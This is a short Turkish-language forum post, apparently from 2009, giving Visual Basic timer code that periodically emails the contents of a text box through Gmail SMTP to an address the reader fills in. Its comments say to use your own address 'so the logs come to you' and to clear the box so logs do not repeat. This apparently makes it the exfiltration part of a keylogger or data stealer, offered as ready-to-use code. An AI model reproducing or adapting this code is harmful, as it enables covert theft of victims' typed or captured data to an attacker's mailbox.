- 17 Ağu 2009
- 113
- 0
Timer4 = interval 1000
Timer3 = Bu mail gönderen timer
General Bölümüne:
Kod:
Dim zaman
Timer4'e:
Kod:
zaman = zaman + 1
Timer3'e Yani mail gönderen timere (kırmızı yerleri kendinize göre ayarlayın):
Kod:
On Error Resume Next
If zaman = Val([COLOR="red"]Text3.Text[/COLOR]) * 60 Then 'text3e 3 yazarsanız 3*60 tan 180 sniye sonra mail yollar yani text3e kaç dakikada bir mail yollamasını istiyorsanız onu yazın
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "[COLOR="red"]emailiniz[/COLOR]" ' gmail olması lazım.
Flds.Item(schema & "sendpassword") = "[COLOR="red"]şifreniz[/COLOR]"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "[COLOR="red"][email protected][/COLOR]" 'kendi mailinizi yazın ki loglar size gelsin.
.From = "Mail Post Server"
.Subject = "[COLOR="red"]Konu[/COLOR]"
.HTMLbOdy = Text1.Text ' text1i mailinize yollar önemli
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
Text1.Text = "" 'mail yolladıktan sonra text1i temizle aynı loglar gelmemesi için
End With
zaman = "0" 'zamanı sıfırla
End If
Umarım Anlamıştırsınız..
Son düzenleme: